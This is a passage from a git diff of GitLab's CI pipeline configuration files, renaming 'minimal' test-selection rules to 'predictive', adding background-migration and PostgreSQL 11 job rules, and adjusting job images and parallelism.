RSPEC_TESTS_MAPPING_ENABLED: "true"
@@ -58,10 +58,13 @@ include:
needs: ["setup-test-env", "retrieve-tests-metadata", "compile-test-assets", "detect-tests"]
script:
- !reference [.base-script, script]
- - rspec_paralellized_job "--tag ~quarantine --tag ~level:migration"
+ # We need to exclude background migration because unit tests run with
+ # spec/lib, yet background migration tests are also sitting there,
+ # and they should run on their own jobs so we don't need to run them
+ # in unit tests again.
+ - rspec_paralellized_job "--tag ~quarantine --tag ~level:background_migration"
allow_failure:
- # the exit code listed here must match the one defined for the variable SUCCESSFULLY_RETRIED_TEST_EXIT_CODE
- exit_codes: 137
+ exit_codes: !reference [.rspec-base, variables, SUCCESSFULLY_RETRIED_TEST_EXIT_CODE]
.base-artifacts:
artifacts:
@@ -80,14 +83,9 @@ include:
junit: ${JUNIT_RESULT_FILE}
.rspec-base-migration:
- extends:
- - .base-artifacts
- - .rails:rules:ee-and-foss-migration
- variables:
- RSPEC_TESTS_FILTER_FILE: "${RSPEC_MATCHING_TESTS_PATH}"
script:
- !reference [.base-script, script]
- - rspec_paralellized_job "--tag ~quarantine --tag level:migration"
+ - rspec_paralellized_job "--tag ~quarantine"
.rspec-base-pg11:
extends:
@@ -121,12 +119,6 @@ include:
- .rspec-base
- .use-pg12-es7-ee
-.rspec-ee-base-pg12-es7:
- extends:
- - .rspec-base
- - .use-pg12-es7-ee
- - .rails:rules:run-search-tests
-
.rspec-ee-base-pg12-es8:
extends:
- .rspec-base
@@ -163,11 +155,17 @@ include:
############################
# rspec job parallel configs
.rspec-migration-parallel:
- parallel: 12
+ parallel: 8
-.rspec-ee-migration-parallel:
+.rspec-background-migration-parallel:
parallel: 4
+.rspec-ee-migration-parallel:
+ parallel: 2
+
+.rspec-ee-background-migration-parallel:
+ parallel: 2
+
.rspec-unit-parallel:
parallel: 28
diff --git a/.gitlab/ci/review-apps/main.gitlab-ci.yml b/.gitlab/ci/review-apps/main.gitlab-ci.yml
index b72afedc3b0..13e8ea330da 100644
--- a/.gitlab/ci/review-apps/main.gitlab-ci.yml
+++ b/.gitlab/ci/review-apps/main.gitlab-ci.yml
@@ -32,7 +32,7 @@ review-build-cng-env:
extends:
- .default-retry
- .review:rules:review-build-cng
- image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images/debian-${DEBIAN_VERSION}-ruby-${RUBY_VERSION}:bundler-2.3
+ image: ${GITLAB_DEPENDENCY_PROXY}ruby:${RUBY_VERSION}-alpine3.16
stage: prepare
needs:
# We need this job because we need its `cached-assets-hash.txt` artifact, so that we can pass the assets image tag to the downstream CNG pipeline.
@@ -109,6 +109,7 @@ review-deploy:
- .review-workflow-base
- .review:rules:review-deploy
stage: deploy
+ image: ${GITLAB_DEPENDENCY_PROXY}dtzar/helm-kubectl:3.10.3
needs: ["review-build-cng"]
cache:
key: "review-deploy-dependencies-charts-${GITLAB_HELM_CHART_REF}-v1"
@@ -130,6 +131,7 @@ review-deploy:
- run_timed_command "deploy" || (display_deployment_debug && exit 1)
- run_timed_command "verify_deploy" || (display_deployment_debug && exit 1)
- run_timed_command "disable_sign_ups" || (display_deployment_debug && exit 1)
+ - run_timed_command "verify_commit_sha" || (display_deployment_debug && exit 1)
after_script:
# Run seed-dast-test-data.sh only when DAST_RUN is set to true. This is to pupulate review app with data for DAST scan.
# Set DAST_RUN to true when jobs are manually scheduled.
diff --git a/.gitlab/ci/review-apps/qa.gitlab-ci.yml b/.gitlab/ci/review-apps/qa.gitlab-ci.yml
index d28819208b7..01a738127f7 100644
--- a/.gitlab/ci/review-apps/qa.gitlab-ci.yml
+++ b/.gitlab/ci/review-apps/qa.gitlab-ci.yml
@@ -1,6 +1,6 @@
include:
- project: gitlab-org/quality/pipeline-common
- ref: 1.7.0
+ ref: 1.14.1
file:
- /ci/base.gitlab-ci.yml
- /ci/allure-report.yml
diff --git a/.gitlab/ci/rules.gitlab-ci.yml b/.gitlab/ci/rules.gitlab-ci.yml
index 8b7aee8de9d..9596594ad26 100644
--- a/.gitlab/ci/rules.gitlab-ci.yml
+++ b/.gitlab/ci/rules.gitlab-ci.yml
@@ -21,7 +21,7 @@
if: '$FORCE_GITLAB_CI'
.if-default-refs: &if-default-refs
- if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH || $CI_COMMIT_REF_NAME =~ /^[\d-]+-stable(-ee)?$/ || $CI_COMMIT_REF_NAME =~ /^\d+-\d+-auto-deploy-\d+$/ || $CI_COMMIT_REF_NAME =~ /^security\// || $CI_COMMIT_REF_NAME == "ruby3" || $CI_MERGE_REQUEST_IID || $CI_COMMIT_TAG || $FORCE_GITLAB_CI'
+ if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH || $CI_COMMIT_REF_NAME =~ /^[\d-]+-stable(-ee)?$/ || $CI_COMMIT_REF_NAME =~ /^\d+-\d+-auto-deploy-\d+$/ || $CI_COMMIT_REF_NAME =~ /^security\// || $CI_COMMIT_REF_NAME == "ruby2" || $CI_MERGE_REQUEST_IID || $CI_COMMIT_TAG || $FORCE_GITLAB_CI'
.if-default-branch-refs: &if-default-branch-refs
if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH && $CI_MERGE_REQUEST_IID == null'
@@ -55,8 +55,8 @@
.if-merge-request-targeting-stable-branch: &if-merge-request-targeting-stable-branch
if: '$CI_MERGE_REQUEST_IID && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME =~ /^[\d-]+-stable(-ee)?$/'
-.if-merge-request-labels-run-in-ruby3: &if-merge-request-labels-run-in-ruby3
- if: '$CI_MERGE_REQUEST_LABELS =~ /pipeline:run-in-ruby3/'
+.if-merge-request-labels-run-in-ruby2: &if-merge-request-labels-run-in-ruby2
+ if: '$CI_MERGE_REQUEST_LABELS =~ /pipeline:run-in-ruby2/'
.if-merge-request-labels-as-if-foss: &if-merge-request-labels-as-if-foss
if: '$CI_MERGE_REQUEST_LABELS =~ /pipeline:run-as-if-foss/'
@@ -79,6 +79,9 @@
.if-merge-request-labels-run-review-app: &if-merge-request-labels-run-review-app
if: '$CI_MERGE_REQUEST_LABELS =~ /pipeline:run-review-app/'
+.if-merge-request-labels-run-on-pg11: &if-merge-request-labels-run-on-pg11
+ if: '$CI_MERGE_REQUEST_LABELS =~ /pipeline:run-on-pg11/'
+
.if-merge-request-labels-skip-undercoverage: &if-merge-request-labels-skip-undercoverage
if: '$CI_MERGE_REQUEST_LABELS =~ /pipeline:skip-undercoverage/'
@@ -89,7 +92,7 @@
if: '$CI_MERGE_REQUEST_LABELS =~ /group::global search/'
.if-merge-request-labels-pipeline-expedite: &if-merge-request-labels-pipeline-expedite
- if: '$CI_MERGE_REQUEST_LABELS =~ /master:(foss-)?broken/ && $CI_MERGE_REQUEST_LABELS =~ /pipeline:expedite/'
+ if: '($CI_MERGE_REQUEST_LABELS =~ /master:(foss-)?broken/ || $CI_MERGE_REQUEST_TITLE =~ /^[Rr]evert/) && $CI_MERGE_REQUEST_LABELS =~ /pipeline:expedite/'
.if-merge-request-labels-frontend-and-feature-flag: &if-merge-request-labels-frontend-and-feature-flag
if: '$CI_MERGE_REQUEST_LABELS =~ /frontend/ && $CI_MERGE_REQUEST_LABELS =~ /feature flag/'
@@ -109,8 +112,8 @@
.if-default-branch-schedule-nightly: &if-default-branch-schedule-nightly
if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $CI_PIPELINE_SOURCE == "schedule" && $SCHEDULE_TYPE == "nightly"'
-.if-ruby3-branch-schedule-nightly: &if-ruby3-branch-schedule-nightly
- if: '$CI_COMMIT_BRANCH == "ruby3" && $CI_PIPELINE_SOURCE == "schedule" && $SCHEDULE_TYPE == "nightly"'
+.if-ruby2-branch-schedule-nightly: &if-ruby2-branch-schedule-nightly
+ if: '$CI_COMMIT_BRANCH == "ruby2" && $CI_PIPELINE_SOURCE == "schedule" && $SCHEDULE_TYPE == "nightly"'
.if-security-schedule: &if-security-schedule
if: '$CI_PROJECT_NAMESPACE == "gitlab-org/security" && $CI_PIPELINE_SOURCE == "schedule"'
@@ -142,8 +145,8 @@
.if-dot-com-gitlab-org-and-security-tag: &if-dot-com-gitlab-org-and-security-tag
if: '$CI_SERVER_HOST == "gitlab.com" && $CI_PROJECT_NAMESPACE =~ /^gitlab-org($|\/security$)/ && $CI_COMMIT_TAG'
-.if-ruby3-branch: &if-ruby3-branch
- if: '$CI_COMMIT_BRANCH == "ruby3"'
+.if-ruby2-branch: &if-ruby2-branch
+ if: '$CI_COMMIT_BRANCH == "ruby2"'
# For Security merge requests, the gitlab-release-tools-bot triggers a new
# pipeline for the "Pipelines for merged results" feature. If the pipeline
@@ -217,9 +220,6 @@
- "scripts/lint-doc.sh"
- ".gitlab/ci/docs.gitlab-ci.yml"
-.docs-code-quality-patterns: &docs-code-quality-patterns
- - "doc/**/*.md"
-
.docs-deprecations-and-removals-patterns: &docs-deprecations-and-removals-patterns
- "doc/update/deprecations.md"
- "doc/update/removals.md"
@@ -350,6 +350,11 @@
- ".gitlab-ci.yml"
- ".gitlab/ci/**/*"
+# DB backup patterns
+.db-backup-patterns: &db-backup-patterns
+ - "lib/backup/**/*"
+ - "lib/tasks/gitlab/backup.rake"
+
.db-library-patterns: &db-library-patterns
- "{,ee/,jh/}{,spec/}lib/{,ee/,jh/}gitlab/database/**/*"
- "{,ee/,jh/}{,spec/}lib/{,ee/,jh/}gitlab/database{,_spec}.rb"
@@ -586,7 +591,7 @@
- <<: *if-merge-request-targeting-stable-branch
when: never
-.rails:rules:minimal-default-rules:
+.rails:rules:predictive-default-rules:
rules:
- <<: *if-merge-request-approved
when: never
@@ -614,7 +619,7 @@
- <<: *if-merge-request-not-approved
when: never
-.rails:rules:as-if-foss-migration-unit-integration:minimal-default-rules:
+.rails:rules:as-if-foss-migration-unit-integration:predictive-default-rules:
rules:
- <<: *if-merge-request
changes: *core-backend-patterns
@@ -623,11 +628,11 @@
changes: *ci-patterns
when: never
-.rails:rules:unit-integration:minimal-default-rules:
+.rails:rules:unit-integration:predictive-default-rules:
rules:
- <<: *if-merge-request-labels-run-all-rspec
when: never
- - !reference [".rails:rules:as-if-foss-migration-unit-integration:minimal-default-rules", rules]
+ - !reference [".rails:rules:as-if-foss-migration-unit-integration:predictive-default-rules", rules]
.rails:rules:system-default-rules:
rules:
@@ -643,7 +648,7 @@
- <<: *if-merge-request-not-approved
when: never
-.rails:rules:system:minimal-default-rules:
+.rails:rules:system:predictive-default-rules:
rules:
- <<: *if-merge-request-labels-run-all-rspec
when: never
@@ -705,7 +710,7 @@
variables:
ARCH: amd64,arm64
- <<: *if-force-ci
- - <<: *if-ruby3-branch
+ - <<: *if-ruby2-branch
.build-images:rules:build-assets-image:
rules:
@@ -714,7 +719,7 @@
- <<: *if-merge-request-targeting-stable-branch
- <<: *if-merge-request-labels-run-review-app
- <<: *if-auto-deploy-branches
- - <<: *if-ruby3-branch
+ - <<: *if-ruby2-branch
- <<: *if-default-refs
changes: *ci-build-images-patterns
- <<: *if-default-refs
@@ -812,11 +817,6 @@
when: manual
allow_failure: true
-.docs:rules:docs-code-quality:
- rules:
- - <<: *if-merge-request
- changes: *docs-code-quality-patterns
-
.docs:rules:docs-lint:
rules:
- <<: *if-default-refs
@@ -871,7 +871,7 @@
# Frontend rules #
##################
-.frontend:rules:minimal-default-rules:
+.frontend:rules:predictive-default-rules:
rules:
- <<: *if-merge-request-approved
when: never
@@ -887,7 +887,7 @@
- <<: *if-merge-request-targeting-stable-branch
- <<: *if-merge-request-labels-run-review-app
- <<: *if-auto-deploy-branches
- - <<: *if-ruby3-branch
+ - <<: *if-ruby2-branch
- <<: *if-default-refs
changes: *ci-build-images-patterns
- <<: *if-default-refs
@@ -963,11 +963,11 @@
- <<: *if-default-refs
changes: *code-backstage-patterns
-.frontend:rules:jest:minimal:
+.frontend:rules:jest:predictive:
rules:
- <<: *if-fork-merge-request
changes: *code-backstage-patterns
- - !reference [".frontend:rules:minimal-default-rules", rules]
+ - !reference [".frontend:rules:predictive-default-rules", rules]
- <<: *if-merge-request-labels-run-all-jest
when: never
- <<: *if-merge-request-labels-frontend-and-feature-flag
@@ -995,10 +995,10 @@
- <<: *if-merge-request
changes: *frontend-patterns-for-as-if-foss
-.frontend:rules:jest:minimal:as-if-foss:
+.frontend:rules:jest:predictive:as-if-foss:
rules:
- !reference [".strict-ee-only-rules", rules]
- - !reference [".frontend:rules:minimal-default-rules", rules]
+ - !reference [".frontend:rules:predictive-default-rules", rules]
- <<: *if-merge-request-labels-as-if-foss
when: never
- <<: *if-merge-request-labels-run-all-jest
@@ -1107,7 +1107,7 @@
allow_failure: true
- <<: *if-force-ci
allow_failure: true
- - <<: *if-ruby3-branch
+ - <<: *if-ruby2-branch
.qa:rules:package-and-test:
rules:
@@ -1119,7 +1119,7 @@
when: never
- <<: *if-merge-request-targeting-stable-branch
allow_failure: true
- - <<: *if-ruby3-branch
+ - <<: *if-ruby2-branch
allow_failure: true
- <<: *if-dot-com-gitlab-org-and-security-merge-request-manual-ff-package-and-e2e
changes: *feature-flag-development-config-patterns
@@ -1172,6 +1172,16 @@
changes: *db-patterns
- <<: *if-default-branch-schedule-nightly
+.rails:rules:db-backup:
+ rules:
+ - <<: *if-merge-request-labels-run-all-rspec
+ - <<: *if-default-refs
+ changes: *db-backup-patterns
+ - <<: *if-merge-request-not-approved
+ when: never
+ - <<: *if-default-refs
+ changes: *db-patterns
+
.rails:rules:praefect-with-db:
rules:
- if: '$CI_MERGE_REQUEST_LABELS =~ /pipeline:run-praefect-with-db/'
@@ -1188,27 +1198,35 @@
# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68840.
- <<: *if-merge-request
changes: *db-patterns
- - <<: *if-automated-merge-request
- changes: *db-patterns
- - <<: *if-security-merge-request
- changes: *db-patterns
- <<: *if-merge-request-not-approved
when: never
- <<: *if-default-refs
changes: *db-patterns
-.rails:rules:ee-and-foss-migration:minimal:
+.rails:rules:ee-and-foss-migration:predictive:
rules:
- <<: *if-fork-merge-request
changes: *db-patterns
- - !reference [".rails:rules:minimal-default-rules", rules]
- - !reference [".rails:rules:unit-integration:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
+ - !reference [".rails:rules:unit-integration:predictive-default-rules", rules]
# When DB schema changes, many migrations spec may be affected. However, the test mapping from Crystalball does not map db change to a specific migration spec well.
# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68840.
- <<: *if-merge-request
changes: *db-patterns
when: never
+.rails:rules:ee-and-foss-background-migration:
+ rules:
+ - !reference [".rails:rules:ee-and-foss-migration", rules]
+ - <<: *if-default-refs
+ changes: *backend-patterns
+
+.rails:rules:ee-and-foss-background-migration:predictive:
+ rules:
+ - !reference [".rails:rules:ee-and-foss-migration:predictive", rules]
+ - <<: *if-merge-request
+ changes: *backend-patterns
+
.rails:rules:ee-and-foss-mr-with-migration:
rules:
- <<: *if-merge-request
@@ -1231,12 +1249,12 @@
- <<: *if-default-refs
changes: *backend-patterns
-.rails:rules:ee-and-foss-unit:minimal:
+.rails:rules:ee-and-foss-unit:predictive:
rules:
- <<: *if-fork-merge-request
changes: *backend-patterns
- - !reference [".rails:rules:minimal-default-rules", rules]
- - !reference [".rails:rules:unit-integration:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
+ - !reference [".rails:rules:unit-integration:predictive-default-rules", rules]
- <<: *if-merge-request
changes: *backend-patterns
@@ -1248,12 +1266,12 @@
- <<: *if-default-refs
changes: *backend-patterns
-.rails:rules:ee-and-foss-integration:minimal:
+.rails:rules:ee-and-foss-integration:predictive:
rules:
- <<: *if-fork-merge-request
changes: *backend-patterns
- - !reference [".rails:rules:minimal-default-rules", rules]
- - !reference [".rails:rules:unit-integration:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
+ - !reference [".rails:rules:unit-integration:predictive-default-rules", rules]
- <<: *if-merge-request
changes: *backend-patterns
@@ -1265,12 +1283,12 @@
- <<: *if-default-refs
changes: *code-backstage-patterns
-.rails:rules:ee-and-foss-system:minimal:
+.rails:rules:ee-and-foss-system:predictive:
rules:
- <<: *if-fork-merge-request
changes: *code-backstage-patterns
- - !reference [".rails:rules:minimal-default-rules", rules]
- - !reference [".rails:rules:system:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
+ - !reference [".rails:rules:system:predictive-default-rules", rules]
.rails:rules:ee-and-foss-fast_spec_helper:
rules:
@@ -1306,18 +1324,30 @@
- <<: *if-default-refs
changes: *db-patterns
-.rails:rules:ee-only-migration:minimal:
+.rails:rules:ee-only-migration:predictive:
rules:
- <<: *if-not-ee
when: never
- - !reference [".rails:rules:minimal-default-rules", rules]
- - !reference [".rails:rules:unit-integration:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
+ - !reference [".rails:rules:unit-integration:predictive-default-rules", rules]
# When DB schema changes, many migrations spec may be affected. However, the test mapping from Crystalball does not map db change to a specific migration spec well.
# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68840.
- <<: *if-merge-request
changes: *db-patterns
when: never
+.rails:rules:ee-only-background-migration:
+ rules:
+ - !reference [".rails:rules:ee-only-migration", rules]
+ - <<: *if-default-refs
+ changes: *backend-patterns
+
+.rails:rules:ee-only-background-migration:predictive:
+ rules:
+ - !reference [".rails:rules:ee-only-migration:predictive", rules]
+ - <<: *if-merge-request
+ changes: *backend-patterns
+
.rails:rules:ee-only-unit:
rules:
- <<: *if-not-ee
@@ -1328,14 +1358,14 @@
- <<: *if-default-refs
changes: *backend-patterns
-.rails:rules:ee-only-unit:minimal:
+.rails:rules:ee-only-unit:predictive:
rules:
- <<: *if-not-ee
when: never
- <<: *if-fork-merge-request
changes: *backend-patterns
- - !reference [".rails:rules:minimal-default-rules", rules]
- - !reference [".rails:rules:unit-integration:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
+ - !reference [".rails:rules:unit-integration:predictive-default-rules", rules]
- <<: *if-merge-request
changes: *backend-patterns
@@ -1349,14 +1379,14 @@
- <<: *if-default-refs
changes: *backend-patterns
-.rails:rules:ee-only-integration:minimal:
+.rails:rules:ee-only-integration:predictive:
rules:
- <<: *if-not-ee
when: never
- <<: *if-fork-merge-request
changes: *backend-patterns
- - !reference [".rails:rules:minimal-default-rules", rules]
- - !reference [".rails:rules:unit-integration:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
+ - !reference [".rails:rules:unit-integration:predictive-default-rules", rules]
- <<: *if-merge-request
changes: *backend-patterns
@@ -1370,14 +1400,14 @@
- <<: *if-default-refs
changes: *code-backstage-patterns
-.rails:rules:ee-only-system:minimal:
+.rails:rules:ee-only-system:predictive:
rules:
- <<: *if-not-ee
when: never
- <<: *if-fork-merge-request
changes: *code-backstage-patterns
- - !reference [".rails:rules:minimal-default-rules", rules]
- - !reference [".rails:rules:system:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
+ - !reference [".rails:rules:system:predictive-default-rules", rules]
.rails:rules:as-if-foss-migration:
rules:
@@ -1397,18 +1427,30 @@
- <<: *if-merge-request-not-approved
when: never
-.rails:rules:as-if-foss-migration:minimal:
+.rails:rules:as-if-foss-migration:predictive:
rules:
- <<: *if-not-ee
when: never
- - !reference [".rails:rules:minimal-default-rules", rules]
- - !reference [".rails:rules:as-if-foss-migration-unit-integration:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
+ - !reference [".rails:rules:as-if-foss-migration-unit-integration:predictive-default-rules", rules]
# When DB schema changes, many migrations spec may be affected. However, the test mapping from Crystalball does not map db change to a specific migration spec well.
# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68840.
- <<: *if-merge-request-labels-as-if-foss
changes: *db-patterns
when: never
+.rails:rules:as-if-foss-background-migration:
+ rules:
+ - !reference [".rails:rules:as-if-foss-migration", rules]
+ - <<: *if-merge-request-labels-as-if-foss
+ changes: *backend-patterns
+
+.rails:rules:as-if-foss-background-migration:predictive:
+ rules:
+ - !reference [".rails:rules:as-if-foss-migration:predictive", rules]
+ - <<: *if-merge-request-labels-as-if-foss
+ changes: *backend-patterns
+
.rails:rules:as-if-foss-unit:
rules:
- <<: *if-not-ee
@@ -1419,14 +1461,14 @@
- <<: *if-merge-request-labels-as-if-foss
changes: *backend-patterns
-.rails:rules:as-if-foss-unit:minimal:
+.rails:rules:as-if-foss-unit:predictive:
rules:
- <<: *if-not-ee
when: never
- <<: *if-fork-merge-request
when: never
- - !reference [".rails:rules:minimal-default-rules", rules]
- - !reference [".rails:rules:as-if-foss-migration-unit-integration:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
+ - !reference [".rails:rules:as-if-foss-migration-unit-integration:predictive-default-rules", rules]
- <<: *if-merge-request-labels-as-if-foss
changes: *backend-patterns
@@ -1440,14 +1482,14 @@
- <<: *if-merge-request-labels-as-if-foss
changes: *backend-patterns
-.rails:rules:as-if-foss-integration:minimal:
+.rails:rules:as-if-foss-integration:predictive:
rules:
- <<: *if-not-ee
when: never
- <<: *if-fork-merge-request
when: never
- - !reference [".rails:rules:minimal-default-rules", rules]
- - !reference [".rails:rules:as-if-foss-migration-unit-integration:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
+ - !reference [".rails:rules:as-if-foss-migration-unit-integration:predictive-default-rules", rules]
- <<: *if-merge-request-labels-as-if-foss
changes: *backend-patterns
@@ -1461,13 +1503,13 @@
- <<: *if-merge-request-labels-as-if-foss
changes: *code-backstage-patterns
-.rails:rules:as-if-foss-system:minimal:
+.rails:rules:as-if-foss-system:predictive:
rules:
- <<: *if-not-ee
when: never
- <<: *if-fork-merge-request
when: never
- - !reference [".rails:rules:minimal-default-rules", rules]
+ - !reference [".rails:rules:predictive-default-rules", rules]
- <<: *if-merge-request
changes: *core-backend-patterns
when: never
@@ -1485,6 +1527,7 @@
- <<: *if-default-refs
changes: *db-library-patterns
- <<: *if-merge-request-labels-run-all-rspec
+ - <<: *if-merge-request-labels-run-on-pg11
.rails:rules:ee-mr-and-default-branch-only:
rules:
@@ -1548,7 +1591,7 @@
- <<: *if-not-ee
when: never
- <<: *if-default-branch-schedule-nightly
- - <<: *if-ruby3-branch-schedule-nightly
+ - <<: *if-ruby2-branch-schedule-nightly
- <<: *if-merge-request-labels-run-all-rspec
.rails:rules:rspec-coverage:
@@ -1574,6 +1617,11 @@
- <<: *if-merge-request
changes: *backend-patterns
+.rails:rules:rspec-on-pg11:
+ rules:
+ - <<: *if-merge-request-labels-run-on-pg11
+ - !reference [".rails:rules:default-branch-schedule-nightly--code-backstage-default-rules", rules]
+
.rails:rules:default-branch-schedule-nightly--code-backstage-default-rules:
rules:
- <<: *if-default-branch-schedule-nightly
@@ -1768,6 +1816,8 @@
- <<: *if-default-branch-refs
- <<: *if-default-refs
changes: *code-backstage-qa-patterns
+ - <<: *if-default-refs
+ changes: *docs-patterns
.reports:rules:brakeman-sast:
rules:
@@ -2062,9 +2112,9 @@
- <<: *if-default-refs
changes: *code-backstage-patterns
-.setup:rules:verify-ruby-2.7:
+.setup:rules:verify-ruby-3.0:
rules:
- - <<: *if-merge-request-labels-run-in-ruby3
+ - <<: *if-merge-request-labels-run-in-ruby2
.setup:rules:verify-tests-yml:
rules:
@@ -2145,6 +2195,8 @@
- !reference [".strict-ee-only-rules", rules]
- !reference [".as-if-jh-default-exclusion-rules", rules]
- <<: *if-merge-request-labels-as-if-jh
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *feature-flag-development-config-patterns
# This rule should share the same logic with .as-if-jh:rules:prepare-as-if-jh
# Because the jobs using this need jobs using the preparation rules
@@ -2154,3 +2206,6 @@
- !reference [".as-if-jh-default-exclusion-rules", rules]
- <<: *if-merge-request-labels-as-if-jh
allow_failure: true # See https://gitlab.com/gitlab-org/gitlab/-/issues/351136
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *feature-flag-development-config-patterns
+ allow_failure: true # See https://gitlab.com/gitlab-org/gitlab/-/issues/351136
diff --git a/.gitlab/ci/setup.gitlab-ci.yml b/.gitlab/ci/setup.gitlab-ci.yml
index e417b054cd6..852c4739d9d 100644
--- a/.gitlab/ci/setup.gitlab-ci.yml
+++ b/.gitlab/ci/setup.gitlab-ci.yml
@@ -22,21 +22,21 @@ cache gems:
- vendor/cache
expire_in: 31d
-.minimal-job:
+.predictive-job:
extends:
- .default-retry
needs: []
-.absolutely-minimal-job:
+.absolutely-predictive-job:
extends:
- - .minimal-job
+ - .predictive-job
image: ${GITLAB_DEPENDENCY_PROXY_ADDRESS}alpine:edge
variables:
GIT_STRATEGY: none
dont-interrupt-me:
extends:
- - .absolutely-minimal-job
+ - .absolutely-predictive-job
- .setup:rules:dont-interrupt-me
stage: sync
interruptible: false
@@ -45,7 +45,7 @@ dont-interrupt-me:
gitlab_git_test:
extends:
- - .minimal-job
+ - .predictive-job
- .setup:rules:gitlab_git_test
stage: test
script:
@@ -53,7 +53,7 @@ gitlab_git_test:
no-ee-check:
extends:
- - .minimal-job
+ - .predictive-job
- .setup:rules:no-ee-check
stage: test
script:
@@ -61,19 +61,19 @@ no-ee-check:
no-jh-check:
extends:
- - .minimal-job
+ - .predictive-job
- .setup:rules:no-jh-check
stage: test
script:
- scripts/no-dir-check jh
-verify-ruby-2.7:
+verify-ruby-3.0:
extends:
- - .absolutely-minimal-job
- - .setup:rules:verify-ruby-2.7
+ - .absolutely-predictive-job
+ - .setup:rules:verify-ruby-3.0
stage: prepare
script:
- - echo 'Please remove label ~"pipeline:run-in-ruby3" so we do test against Ruby 2.7 (default version) before merging the merge request'
+ - echo 'Please remove label ~"pipeline:run-in-ruby2" so we do test against Ruby 3.0 (default version) before merging the merge request'
- exit 1
verify-tests-yml:
@@ -89,7 +89,7 @@ verify-tests-yml:
verify-approvals:
extends:
- - .minimal-job
+ - .predictive-job
- .setup:rules:jh-contribution
script:
- source scripts/utils.sh
@@ -116,11 +116,13 @@ generate-frontend-fixtures-mapping:
detect-tests:
extends: .rails:rules:detect-tests
- image: ${GITLAB_DEPENDENCY_PROXY_ADDRESS}ruby:${RUBY_VERSION}
+ image: ${GITLAB_DEPENDENCY_PROXY_ADDRESS}ruby:${RUBY_VERSION}-slim
needs: []
stage: prepare
variables:
RSPEC_TESTS_MAPPING_ENABLED: "true"
+ before_script:
+ - apt-get update && apt-get install -y curl # Not present in ruby-slim, so we add it manually
script:
- source ./scripts/utils.sh
- source ./scripts/rspec_helpers.sh
@@ -135,17 +137,20 @@ detect-tests:
tooling/bin/find_tests ${RSPEC_CHANGED_FILES_PATH} ${RSPEC_MATCHING_TESTS_PATH};
tooling/bin/find_changes ${RSPEC_CHANGED_FILES_PATH} ${RSPEC_MATCHING_TESTS_PATH} ${FRONTEND_FIXTURES_MAPPING_PATH};
filter_rspec_matched_foss_tests ${RSPEC_MATCHING_TESTS_PATH} ${RSPEC_MATCHING_TESTS_FOSS_PATH};
+ tooling/bin/view_to_js_mappings ${RSPEC_CHANGED_FILES_PATH} ${RSPEC_MATCHING_JS_FILES_PATH};
echoinfo "Changed files: $(cat $RSPEC_CHANGED_FILES_PATH)";
echoinfo "Related RSpec tests: $(cat $RSPEC_MATCHING_TESTS_PATH)";
echoinfo "Related FOSS RSpec tests: $(cat $RSPEC_MATCHING_TESTS_FOSS_PATH)";
+ echoinfo "Related JS files: $(cat $RSPEC_MATCHING_JS_FILES_PATH)";
fi
artifacts:
expire_in: 7d
paths:
+ - ${FRONTEND_FIXTURES_MAPPING_PATH}
- ${RSPEC_CHANGED_FILES_PATH}
- - ${RSPEC_MATCHING_TESTS_PATH}
+ - ${RSPEC_MATCHING_JS_FILES_PATH}
- ${RSPEC_MATCHING_TESTS_FOSS_PATH}
- - ${FRONTEND_FIXTURES_MAPPING_PATH}
+ - ${RSPEC_MATCHING_TESTS_PATH}
detect-previous-failed-tests:
extends:
@@ -167,7 +172,7 @@ detect-previous-failed-tests:
e2e-test-pipeline-generate:
extends:
- .qa-job-base
- - .minimal-job
+ - .predictive-job
- .qa:rules:determine-e2e-tests
stage: prepare
variables:
diff --git a/.gitlab/ci/static-analysis.gitlab-ci.yml b/.gitlab/ci/static-analysis.gitlab-ci.yml
index 6df2c5f403f..13013d9a9db 100644
--- a/.gitlab/ci/static-analysis.gitlab-ci.yml
+++ b/.gitlab/ci/static-analysis.gitlab-ci.yml
@@ -32,7 +32,7 @@ static-analysis:
parallel: 2
script:
- yarn_install_script
- - scripts/static-analysis
+ - fail_on_warnings scripts/static-analysis
static-analysis as-if-foss:
extends:
diff --git a/.gitlab/ci/test-metadata.gitlab-ci.yml b/.gitlab/ci/test-metadata.gitlab-ci.yml
index e147305e25a..3f6760394c4 100644
--- a/.gitlab/ci/test-metadata.gitlab-ci.yml
+++ b/.gitlab/ci/test-metadata.gitlab-ci.yml
@@ -14,8 +14,11 @@ retrieve-tests-metadata:
extends:
- .tests-metadata-state
- .test-metadata:rules:retrieve-tests-metadata
+ # We use a smaller image for this job only (update-tests-metadata compiles some gems)
+ image: ${GITLAB_DEPENDENCY_PROXY_ADDRESS}ruby:${RUBY_VERSION}-slim
stage: prepare
script:
+ - apt-get update && apt-get install -y curl # Not present in ruby-slim, so we add it manually
- install_gitlab_gem
- source ./scripts/rspec_helpers.sh
- retrieve_tests_metadata
diff --git a/.gitlab/ci/workhorse.gitlab-ci.yml b/.gitlab/ci/workhorse.gitlab-ci.yml
index 3aa9eaee6f8..389906dbbff 100644
--- a/.gitlab/ci/workhorse.gitlab-ci.yml
+++ b/.gitlab/ci/workhorse.gitlab-ci.yml
